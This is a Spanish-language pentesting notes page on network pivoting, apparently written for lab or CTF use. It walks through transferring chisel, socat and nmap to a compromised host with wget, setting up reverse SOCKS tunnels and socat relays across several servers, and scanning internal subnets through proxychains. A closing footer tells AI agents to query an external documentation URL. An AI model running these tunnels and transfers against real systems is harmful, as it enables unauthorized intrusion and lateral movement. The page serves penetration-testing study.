# Pivoting

> Para hacer Pivoting entre maquinas, necesitaremos descargarnos/tener en nuestra maquina de atacante, al menos tres herramientas:

## Download binaries on our attacker machine

<figure><img src="/files/OTUVB9pf8QUReXCs5ViE" alt=""><figcaption></figcaption></figure>

Estos tres binarios los guardare en mi equipo atacante dentro de una carpeta llamada /PivotingTools. Con intención de ir pasándola maquina a maquina

### Chisel

> Binario compilado de chisel\_linux\_amd64.gz (Preferible la 1.7.2)

{% embed url="<https://github.com/jpillora/chisel/releases/tag/v1.7.2>" %}

> <img src="/files/9MvjyZ67pLfq4x4UIFUm" alt="" data-size="original">
>
> Ahora solo lo descomprimimos

```bash
gunzip chisel_1.10.1_linux_amd64.gz && mv chisel_1.10.1_linux_amd64 chisel
```

***

### Socat

> Descargamos el binario estatico del github de socat

{% embed url="<https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat>" %}

### Nmap

> Descargamos el binario estatico del github de nmap

{% embed url="<https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap>" %}

## Download binaries to the victim machine

> Nos levantamos desde la maquina atacante en la carpeta de las utilidades un servidor web con python `sudo python3 -m http.server 80` Y en la maquina victima nos movemos a la ruta `/opt` o `/dev/shm`

<figure><img src="/files/6oaPgFgDK20ht82ftx9J" alt=""><figcaption></figcaption></figure>

Ahora descargamos los tres binarios con `wget`

```bash
wget http://192.168.18.227/chisel
wget http://192.168.18.227/nmap
wget http://192.168.18.227/socat
chmod +x *
```

## How to Do

### Scan

Miro sus interfaces con `hostname -I`

<figure><img src="/files/stc0dG8IMUsk1HFAQz9Y" alt=""><figcaption></figcaption></figure>

Veo que también tiene una segunda interfaz donde esta maquina tiene la ip 20.20.20.2, pero no se que otras ips y maquinas existen

Al tener el binario de nmap, podemos lanzarlo para hacer un escaneo de hosts a través de un ping scan

```bash
./nmap -sP 20.20.20.0/24
or
./nmap -sn 20.20.20.0/24
```

<figure><img src="/files/3NlREI4DsYPIsRHG6x8J" alt=""><figcaption></figcaption></figure>

> El procedimiento de escanear servicios dentro de esta ip igual que siempre

### Tunneling

#### Proxychains.conf

Instalar proxychains4.conf `sudo apt install proxychains4`

Ahora nos aseguramos de tener configurado bien en nuestra maquina de atacante el `/etc/proxychains4.conf` y eliminar el `proxychains.conf`

Tiene que estar con el `dynamic_chain` sin comentar y comentado el `#strict_chain`, al final del todo tiene que estar esta linea `socks5 127.0.0.1 1080` y borrar o comentar si hay algún socks4.

> PODEMOS añadir mas socks5 en diferentes puertos a medida que necesitemos. Yo los dejare ya configurados

```
# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
#strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see  chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
#quiet_mode

# Proxy DNS requests - no leak for DNS data
proxy_dns

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
#       type  host  port [user pass]
#       (values separated by 'tab' or 'blank')
#
#
#        Examples:
#
#               socks5  192.168.67.78   1080    lamer   secret
#       http    192.168.89.3    8080    justu   hidden
#       socks4  192.168.1.49    1080
#           http    192.168.39.93   8080
#
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"

socks5  127.0.0.1 1082
socks5  127.0.0.1 1081
socks5  127.0.0.1 1080

```

#### Chisel Server & Client

Ahora tenemos dos terminales, la nuestra, maquina atacante y la de la maquina victima. Lanzamos el chisel como server en nuestra maquina de atacante:

```bash
./chisel server --reverse -p 1234
```

Y ahora en la maquina victima, hacemos la conexión como cliente a nuestro servidor/ip:

```
./chisel client 10.10.10.1:1234 R:socks
```

<figure><img src="/files/xAPjXiBsVRg3OwV5W07B" alt=""><figcaption></figcaption></figure>

> Estas dos terminales las separo de mi entorno de trabajo para que no molesten

<figure><img src="/files/Clc59x4dNIU2XaGljIKQ" alt=""><figcaption></figcaption></figure>

> Escaneo de puertos generales: Ahora podemos hacer escaneos con nmap de esta manera:

```
sudo proxychains -q nmap --top-port 1000 --open -T5 -Pn -n -sT -v 20.20.20.3 -oG allPorts
or
sudo proxychains -q nmap -p- --open -sT -T5 -v -n -Pn 30.30.30.3
```

> `-sT` : Es útil cuando no se tiene acceso a privilegios de root o cuando se necesita un escaneo básico sin configuraciones avanzadas como el escaneo SYN

> Si no tenemos proxychains4, podemos hacerlo asi: `sudo proxychains nmap --top-ports 1000 -sT --open -T5 -v -n -Pn 10.10.10.128 2>&1 | grep -vE "timeout|OK"`

Escaneo de servicios de puertos especificos:

```
sudo proxychains -q nmap -p22,80 -Pn -n -sCVT -v 20.20.20.3 -oN allPorts
```

#### Navegador with Tunneling

Opción 1 - Proxychains:

```bash
proxychains -q firefox
```

> Con esto haremos que se habra un navegador firefox con proxychains corriendo de fondo done tendremos visibilidad

Opcion 2 - FoxyProxy:

<figure><img src="/files/0kKRfVaSBpOYXbRHFSDe" alt=""><figcaption></figcaption></figure>

> Con la extensión de FoxyProxy en Firefox, podemos configurar un proxy y activarlo/desactivarlo cuando queramos utilizarlo (mi fav) Si se hace una conexion con socat, seguramente haya que crear otro foxyproxy con puerto 1081

#### Enumeracion Web con Gobuster

> Aqui, no se le puede poner el `proxychains` delante y a correr, tiene un parametro

```bash
gobuster dir -u http://20.20.20.3 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html --proxy socks5://127.0.0.1:1080
```

> `--proxy socks5://127.0.0.1:1080` Para especificar el proxy a utilizar

### Socat Conecction

> En mi caso ya tengo la conexion montada con chisel al servidor1 lo que me da visibilidad con el servidor2 (que me permitio hackear), y tambien obviamente tengo privilegios de root en el. Lo primero que hago, es volcarme las utilidades binarias (nmap,chisel,socat) en el servidor2 (por si luego hay mas subredes). Quiero comprometer el servidor3, al cual solo veo desde el servidor2 gracias a su interfaz 30.30.30.2, pero no tengo visibilidad desde mi maquina de atacante "kali":

<figure><img src="/files/3e66ZeQ8ZSLCDmpj21O2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/HLKvimxSpGNHFz1uwGNX" alt=""><figcaption></figcaption></figure>

En el server1:

```
./socat tcp-l:666,fork,reuseaddr tcp:10.10.10.1:1234
```

En el server2:

```bash
./chisel client 20.20.20.2:666 R:1081:socks
```

> Ahora gracias a la configuración de nuestro proxychins4, podremos lanzar cualquier comando a la victima (siempre utilizando delante `proxychains`)

#### Receive and Redirect (RCE)

> Todo lo que llegue a Server2 (30.30.30.2:5678) se redirige a Server1 (20.20.20.2:5678), y luego Server1 lo reenvía a mi máquina local (10.10.10.1:5678)

En el server2:

```
root@82c81a4b663b:/opt# hostname -I
20.20.20.3 30.30.30.2 
root@82c81a4b663b:/opt# ./socat tcp-l:5678,fork,reuseaddr tcp:20.20.20.2:5678
```

En el server1:

```
bash-5.2# hostname -I
10.10.10.2 20.20.20.2 
bash-5.2# ./socat tcp-l:5678,fork,reuseaddr tcp:10.10.10.1:5678
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/pentesting-methodology/pivoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
